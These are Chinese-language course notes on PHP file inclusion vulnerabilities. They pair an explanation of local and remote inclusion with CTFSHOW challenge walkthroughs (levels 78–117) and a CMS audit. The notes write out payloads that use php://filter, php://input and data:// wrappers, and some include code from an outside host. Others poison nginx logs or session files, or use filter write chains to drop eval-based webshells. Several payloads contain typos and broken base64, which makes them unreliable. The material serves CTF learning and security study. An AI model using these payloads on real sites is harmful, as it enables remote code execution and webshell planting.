#知识点:
1、解释什么是文件包含
2、分类-本地LFI&远程RFI
3、利用-配合上传&日志&会话
4、利用-伪协议&编码&算法等
#核心知识:
1、本地包含LFI&远程包含RF1-区别
一个只能包含本地,一个可以远程加载
具体形成原因由代码和环境配置文件决定
2、各类脚本语言包含代码写法见下文
<!-#include file="1.asp"-->
<!-#include file="top.aspx"->
<c:import url=http://thief.one/1.jsp">
<jsp:include page="head.jsp"/>
<%@ include file="head.jsp"%>
<?Php include(‘test.php’)?>
3、各类脚本语言包含伪协议玩法见图
https://www.cnblogs.com/endust/p/11804767.html
#思路要点:
黑盒发现:主要观察参数传递的数据和文件名是否对应
?X=文件名
白盒发现:
1、 可通过应用功能追踪代码定位审计
2、 可通过脚本特定函数搜索定位审计
3、 可通过伪协议玩法绕过相关修复等
#本课总结:
1、有可控文件如能上传文件,配合上传后包含
- 无可控文件可以利用日志或Session&伪协议
3、代码固定目录及文件后缀时需考虑版本绕过 - 伪协议玩法是建立在代码中只有变量存在时
文件包含:
LFI(本地包含)和RFI(远程包含)
文件从哪儿来?
- 文件上传,上传至服务器(服务器会对脚本进行过滤,故大部分都是非脚本文件)
- 通过日志UA、session会话文件
- 伪协议(缺点:需要一定的条件:allow的配置需要开启,且处在当前的包含,不能有其它的干扰)
前置知识-原理&分类&探针&利用&修复
CTF应用-CTFSHOW-78关卡到117关卡
CMS源码-XHCMS-代码审计&日志&绕过
#前置知识原理&分类&探针&利用&修复
包含:也就相似与函数(文件)调用
实现过滤功能,是每个代码段进行过滤编写,还是写一个过滤文件
- 每个需要过滤的地方,进行一次过滤的编写
- 每个需要过滤的地方,进行一次文件包含调用过滤函数
包含即使执行
攻击思路:
- 配合文件上传getshell,图片带有后门代码,包含这个图片,脚本代码就可以被触发
- 配合日志文件进行getshell,日志会记录访问UA信息,修改UA信息为后门代码,包含即执行后门代码
- 配合会话文件进行getshell,session
#CTF应用-CTFSHOW-78关卡到117关卡
78-php&http协议
直接访问?Flag.php,发现无任何反应
那么就可能是要用伪协议了,由于我们不知道其他文件的路径,所以我们用不了file、zip等的伪协议
payload:php filter
?File=php://filter/read=convert.base64-encode/resource=flag.php
是一窜base64编码,解密即可
payload:php input
?file=php://input post:<?Php system('tac flag.php);?>
payload:远程包含
本地包含和远程包含的核心:是管理员的配置问题和代码问题
?File=php://www.xiaodi8.com/1.txt
1.txt:<?php system(‘tac flag.php’);?>
Payload:Data协议
79data&http协议
从代码中,发现它对php进行了转义,这意味着php协议不能使用
因此可以使用data和远程协议等
payload:
?file=data://text/plain,<?=system(‘tac flag.*’);?>
?file=data://text/plain;base64.PD9waHAgc3IzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==
payload:
?File=http://www.xiaodi8.com/1.txt
- txt: <?php system(‘tac flag.*’):?>
80 81-日志包含
80
这次把data和远程(测试)过滤了
1、 利用其他协议,如file zib等
2、 利用日志记录UA特性包含执行
分析需文件名及带有php关键字放弃:
之前用的system(‘flag.*’)——这个是调用了系统操作的
而对于路径是不存在的,会直接以flag.*为文件名
故利用日志记录UA信息, UA带入代码
通过数据包分析,中间件容器为nginx
包含: /var/log/nginx/access.log
抓包更改其数据包的UA头,使日志文件去执行<?php system(‘cat flag.*’)?>
81
它这里是多了个分号过滤
还是可以用日志文件
82-86-SESSIONE
https://www.cnblogs.com/echoDetected/p/13976405.html
session固定位置
因为session是可以进行更改的,所以就和日志UA有一样的思路
87-php://filter/write&加密编码
利用base64:
url编码2次: php//filter/write=convert.base64-decode/resource=123.php content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==
因为考虑到urldecode,因此需要进行加密,从而去满足函数的要求,网页会第一次解密,函数会第二次解密,所以我们需要连续加密两次
2、利用凯撒13:
url编码2次: php://filter/write=string.rot13/resource=2.php
content=<?cuc flfgrz('gnp.s*.cuc');?>
88-data&base64协议
过滤PHP,各种符号,php代码编码写出无符号base64值
Payload:
file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtY2hvIDEyMZs/PmFK
117-php://filter/write&新的算法
Php没被过滤
convert.iconv.:-种过滤器,和使用iconv()函数处理流数据有等同作用!
<?php
$result = iconv("UCS-2LE",”UCS-2BE". '<?php eval($S_ POST[a]);?>);
echo“经过一次反转:"。$result."\n";
echo“经过第二次反转:" .iconv("UCS-2LE","UCS-2BE",$result);
?>
Payload: file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=?<hp pvela$(P_SO[T]a;)>?
#CMS源码-XHCMS-代码审计&日志&绕过
1、搜索特定函数寻包含点
2、固定目录及后缀名需绕过
3、由CMS无上传用日志包含
Index.php
它进行了伪协议的过滤
1.txt
但是在代码中,会对php进行解析,所以要加1.txt.php才会被解析
用日志文件也不行,会被直接加php
长度限制绕过:长度会把脚本的固定后缀给击破